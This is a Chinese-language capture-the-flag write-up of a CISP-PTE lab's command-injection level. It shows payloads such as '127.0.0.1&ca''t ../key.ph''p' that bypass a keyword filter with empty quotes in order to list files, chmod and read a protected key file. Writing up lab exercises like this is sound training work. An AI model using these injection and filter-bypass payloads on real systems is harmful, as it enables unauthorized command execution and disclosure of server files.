目录
[(3)find ./成功](#(3)find ./成功)
[(3)find ../成功](#(3)find ../成功)
[(2)l''s -la ../key.php(失败)](#(2)l''s -la ../key.php(失败))
[(3)l''s -la ../ke''y.php(失败)](#(3)l''s -la ../ke''y.php(失败))
[(4)l''s -la ../key.ph''p(成功)](#(4)l''s -la ../key.ph''p(成功))
[(1)chmod 600 ../key.ph''p](#(1)chmod 600 ../key.ph''p)
[(2)chm''od 600 ../key.ph''p](#(2)chm''od 600 ../key.ph''p)
[(3)l''s -la ../key.ph''p(成功)](#(3)l''s -la ../key.ph''p(成功))
[(1)cat ../key.ph''p (失败)](#(1)cat ../key.ph''p (失败))
[(2)ca''t ../key.ph''p (成功)](#(2)ca''t ../key.ph''p (成功))
本文通过详细讲解CISP-PTE靶场命令执行关卡渗透实战的全流程,成功利用单双引号绕过命令执行后台的过滤函数、通过查看目录文件、查找key文件的权限、修改key文件的权限、查看key文件四个步骤获取flag。
一、渗透准备
1、打开靶场
打开靶场,页面提示"命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。请开始答题!"

2、开始答题
点击进入答题,这是一个ping页面,默认输入为127.0.0.1,如下所示
http://1a88f0bc.clsadp.com/vulnerabilities/fu1.php

点击ping如下所示,执行了ping 127.0.0.1命令,成功执行ping命令。

二、渗透实战
1、查看当前目录
(1)ls失败
127.0.0.1&ls
如下所示,提示 "# 你输入的命令包含敏感字符!请检查命令是否填写正确!",说明ls或者&为敏感字符。

(2)l''s成功
构造payload通过合法IP地址127.0.0.1绕过基础验证,使用&符号作为命令分隔符在后台执行ping命令的同时,利用空单引号对ls命令进行混淆处理,将l''s在Shell解析时还原为ls命令,从而列出当前目录下的所有文件和文件夹信息。具体如下所示。
127.0.0.1&l''s
如下所示,说明ls为敏感字符,我们使用单引号空字符成功绕过。输出信息如下所示:
function.php
index.php

(3)find ./成功
127.0.0.1127.0.0.1&find ./

2、查看根目录
(1)查看上一层目录
根据当前URL可知当前fu.php在根目录的vulnerabilities文件夹中,故而上一层目录就是网站根目录,/var/www/html
http://1a88f0bc.clsadp.com/vulnerabilities/fu1.php
127.0.0.1& l''s ..

(2)查看根目录
127.0.0.1& l''s /var/www/html

(3)find ../成功
127.0.0.1&find ../

3、查看key权限
(1)查看..目录权限
127.0.0.1&l''s -la ..
如下所示,key文件权限如下所示。

---------- 1 www-data www-data 48 Mar 18 2021 key.php
这是一个权限设置极其严格的key.php文件,其权限位显示为"----------"表示所有用户(包括所有者www-data、同组用户和其他用户)都没有任何读写执行权限,文件大小为48字节,属于www-data用户和组,最后修改于2021年3月18日。这种000权限配置意味着即使是文件所有者www-data用户本身也无法读取或修改该文件,任何访问尝试都会因权限不足被拒绝,这可能是故意设置的安全防护措施,旨在保护文件中的敏感信息(如加密密钥或数据库密码),但同时也导致正常的Web服务功能无法访问此文件,需要通过权限调整才能恢复可用性。
-
权限位分解:
-
第1位:
-= 普通文件 -
第2-10位:
---------= 所有权限位均为-
-
-
具体权限
-
用户权限 :
---(无读、写、执行权限) -
组权限 :
---(无读、写、执行权限) -
其他用户权限 :
---(无读、写、执行权限)
-
(2)l''s -la ../key.php(失败)
我们尝试只查key.php文件的权限,如下所示。
127.0.0.1&l''s -la ../key.php
如下所示,提示 "# 你输入的命令包含敏感字符!请检查命令是否填写正确!",说明key或者php为敏感字符。

(3)l''s -la ../ke''y.php(失败)
127.0.0.1&l''s -la ../ke''y.php
如下所示,提示 "# 你输入的命令包含敏感字符!请检查命令是否填写正确!",说明除了key以外,还有其他敏感字符,大概率是php。

(4)l''s -la ../key.ph''p(成功)
127.0.0.1&l''s -la ../key.ph''p
如下所示,说明php为敏感字符,我们使用单引号空字符成功绕过。

4、修改key权限
(1)chmod 600 ../key.ph''p
127.0.0.1&chmod 600 ../key.ph''p
如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明chmod可能被过滤了

(2)chm''od 600 ../key.ph''p
构造攻击payload,通过合法IP地址127.0.0.1绕过验证,使用&命令分隔符在后台执行ping的同时,利用空单引号对chmod命令和文件路径进行混淆,将chmo''d 600 ../key.ph''p在Shell解析时还原为chmod 600 ../key.php,从而修改上级目录中key.php文件的访问权限为仅所有者可读写。具体payload如下所示。
127.0.0.1&chmo''d 600 ../key.ph''p
如下所示,说明chmod为敏感字符,我们使用单引号空字符成功绕过。

(3)l''s -la ../key.ph''p(成功)
构造如下payload,通过合法IP地址127.0.0.1绕过验证,使用&命令分隔符在后台执行ping的同时,利用空单引号对ls命令和文件路径进行混淆,将l''s -la ../key.ph''p在Shell解析时还原为ls -la ../key.php,从而列出上级目录中key.php文件的详细权限、大小、时间等属性信息。这种手法通过命令分隔符变异和字符串混淆技术实现命令执行绕过,具体payload如下所示。
127.0.0.1&l''s -la ../key.ph''p
再次查看权限,如下所示。其权限位"rw-------"表示仅文件所有者www-data用户具有读写权限,而同组用户和其他用户均被拒绝任何访问。文件位于上级目录,大小为48字节,属于Web服务器用户和组,最后修改于2021年3月18日。
-rw------- 1 www-data www-data 48 Mar 18 2021 ../key.php
-
权限位分解:
-
第1位:
-= 普通文件 -
第2-4位:
rw-= 所有者有读写权限 -
第5-7位:
---= 组用户无任何权限 -
第8-10位:
---= 其他用户无任何权限
-
-
具体权限:
-
所有者权限 :
rw-(有读、写权限,无执行权限) -
组权限 :
---(无读、写、执行权限) -
其他用户权限 :
---(无读、写、执行权限)
-

5、cat查看flag文件
(1)cat ../key.ph''p (失败)
127.0.0.1&cat ../key.ph''p
如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明cat可能被过滤了。

(2)ca''t ../key.ph''p (成功)
构造payload,通过IP地址127.0.0.1绕过基础验证,使用&符号作为命令分隔符在后台执行ping命令的同时,利用空单引号对cat命令和文件路径进行混淆处理,将ca''t ../key.ph''p在Shell解析时还原为cat ../key.php,从而成功读取上级目录的key.php文件内容。这种手法通过命令分隔符变异和字符串混淆技术,有效规避了基于简单字符串匹配的安全过滤机制,实现了命令注入攻击。,具体payload如下所示。
127.0.0.1&ca''t ../key.ph''p

(3)右键元素查看flag
右键元素,查看flag,如下所示成功获取flag。

(4)右键源码查看flag
右键源码,查看flag,如下所示成功获取flag。
